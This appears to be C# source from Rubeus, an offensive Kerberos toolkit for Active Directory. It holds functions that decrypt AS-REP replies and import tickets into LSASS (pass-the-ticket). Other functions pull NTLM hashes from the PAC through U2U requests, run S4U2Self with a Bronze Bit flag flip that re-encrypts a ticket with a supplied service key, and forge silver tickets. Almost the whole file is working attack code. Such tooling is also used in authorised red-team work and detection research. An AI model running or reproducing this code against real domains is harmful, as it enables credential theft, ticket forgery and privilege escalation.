private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
{
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key;
if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
{
// generate the decryption key using Diffie Hellman shared secret
PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
}
else
{
// convert the key string to bytes
key = Helpers.StringToByteArray(keyString);
}
if (rep.enc_part.etype != (int)etype)
{
// maybe this should be a fatal error instead of just a warning?
Console.WriteLine($"[!] Warning: Supplied encyption key type is {etype} but AS-REP contains data encrypted with {(Interop.KERB_ETYPE)rep.enc_part.etype}");
}
// decrypt the enc_part containing the session key/etc.
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = null;
bool decodeSuccess = false;
try
{
ae = AsnElt.Decode(outBytes);
// Make sure the data has expected value so we know decryption was successful (from kerberos spec: EncASRepPart ::= [APPLICATION 25] )
if (ae.TagValue == 25)
{
decodeSuccess = true;
}
}
catch (Exception ex)
{
Console.WriteLine("[X] Error parsing encrypted part of AS-REP: " + ex.Message);
}
if (decodeSuccess == false)
{
Console.WriteLine($"[X] Failed to decrypt TGT using supplied password/hash. If this TGT was requested with no preauth then the password supplied may be incorrect or the data was encrypted with a different type of encryption than expected");
return(null);
}
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (verbose)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
}
if (getCredentials)
{
Console.WriteLine("[*] Getting credentials using U2U\r\n");
byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
if (u2uResponse == null)
{
return(null);
}
AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);
// check the response value
int responseTag = u2uResponseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
// parse the response to an TGS-REP and get the PAC
TGS_REP u2uRep = new TGS_REP(u2uResponseAsn);
EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
PACTYPE pt = u2uEncTicketPart.GetPac(key);
// look for the credential information and print
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer is PacCredentialInfo ci)
{
Console.WriteLine(" CredentialInfo :");
Console.WriteLine(" Version : {0}", ci.Version);
Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType);
if (ci.CredentialInfo.HasValue)
{
Console.WriteLine(" CredentialData :");
Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount);
foreach (var credData in ci.CredentialInfo.Value.Credentials)
{
string hash = "";
if ("NTLM".Equals(credData.PackageName.ToString()))
{
int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
if (flags == 3)
{
hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
else
{
hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
}
else
{
hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
}
Console.WriteLine(" {0} : {1}", credData.PackageName, hash);
}
}
else
{
Console.WriteLine(" CredentialData : *** NO KEY ***");
}
}
}
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
return(kirbiBytes);
}
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial)
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);
Console.WriteLine("[*] Sending S4U2self request");
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// if we want to use this s4u2self ticket for authentication, change the sname
if (!String.IsNullOrEmpty(altService) && self)
{
rep.ticket.sname.name_string[0] = altService.Split('/')[0];
rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
}
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
if (bronzebit && !String.IsNullOrEmpty(keyString))
{
Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags);
info.flags |= Interop.TicketFlags.forwardable;
// get user longterm key from keyString
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt and decode ticket encpart
outBytes = Crypto.KerberosDecrypt(encType, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, rep.ticket.enc_part.cipher);
ae = AsnElt.Decode(outBytes, false);
EncTicketPart decTicketPart = new EncTicketPart(ae.Sub[0]);
// modify flags
decTicketPart.flags |= Interop.TicketFlags.forwardable;
// encode and encrypt ticket encpart
byte[] encTicketData = decTicketPart.Encode().Encode();
byte[] encTicketPart = Crypto.KerberosEncrypt(encType, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
rep.ticket.enc_part = new EncryptedData((Int32)encType, encTicketPart, rep.ticket.enc_part.kvno);
Console.WriteLine("[*] Flags changed to: {0}", info.flags);
}
// add the ticket
cred.tickets.Add(rep.ticket);
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// if we want to use the s4u2self change the sname here too
if (!String.IsNullOrEmpty(altService) && self)
{
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
info.sname.name_string[0] = altService.Split('/')[0];
info.sname.name_string.Add(altService.Split('/')[1]);
}
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
Console.WriteLine("");
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt && self)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
return(cred);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent)
{
// determine domain if not supplied
string[] parts = sname.Split('/');
if (String.IsNullOrEmpty(domain))
{
if ((parts.Length > 1) && (parts[0] == "krbtgt"))
{
Console.WriteLine("[X] Referral TGT requires /domain to be passed.");
return;
}
else if ((parts.Length == 1) && (sname.Split('@').Length == 1))
{
Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'.");
return;
}
else if (parts.Length > 1)
{
domain = parts[1].Substring(parts[1].IndexOf('.') + 1);
string[] domainParts = domain.Split(':');
if (domainParts.Length > 1)
{
domain = domainParts[0];
}
}
else if (sname.Split('@').Length > 1)
{
domain = sname.Split('@')[1];
}
else
{
Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname);
return;
}
}
// initialize some structures
KRB_CRED cred = new KRB_CRED();
KrbCredInfo info = new KrbCredInfo();
// generate a random session key
Random random = new Random();
byte[] randKeyBytes;
if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
randKeyBytes = new byte[16];
random.NextBytes(randKeyBytes);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
randKeyBytes = new byte[32];
random.NextBytes(randKeyBytes);
}
else
{
Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
return;
}
EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags);
// get the key from keyString
byte[] key = Helpers.StringToByteArray(keyString);
// encrypt the EncTicketPart
byte[] encTicketData = decTicketPart.Encode().Encode();
byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
// initialize the ticket and add the enc_part
Ticket ticket = new Ticket(domain.ToUpper(), sname);
ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3);
// add the ticket
cred.tickets.Add(ticket);
// [0] add in the session key
info.key.keytype = (int)etype;
info.key.keyvalue = randKeyBytes;
// [1] prealm (domain)
info.prealm = decTicketPart.crealm;
// [2] pname (user)
info.pname.name_type = decTicketPart.cname.name_type;
info.pname.name_string = decTicketPart.cname.name_string;
// [3] flags
info.flags = flags;
// [4] authtime (not required)
info.authtime = decTicketPart.authtime;
// [5] starttime
info.starttime = decTicketPart.starttime;
// [6] endtime
info.endtime = decTicketPart.endtime;
// [7] renew-till
info.renew_till = decTicketPart.renew_till;
// [8] srealm
info.srealm = ticket.realm;
// [9] sname
info.sname.name_type = ticket.sname.name_type;
info.sname.name_string = ticket.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
if (Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
Console.WriteLine("");
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
}
public void Encrypt(EncTicketPart encTicketPart, byte[] serviceKey)
{
//AuthorizationData ad_win2k_pac = new AuthorizationData(Interop.AuthorizationDataType.AD_WIN2K_PAC, pacs.Encode());
//AuthorizationData ad_if_rel = new AuthorizationData(Interop.AuthorizationDataType.AD_IF_RELEVANT, ad_win2k_pac.Encode().Encode());
//enc_part.cipher = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, ad_if_rel.Encode().Encode());
}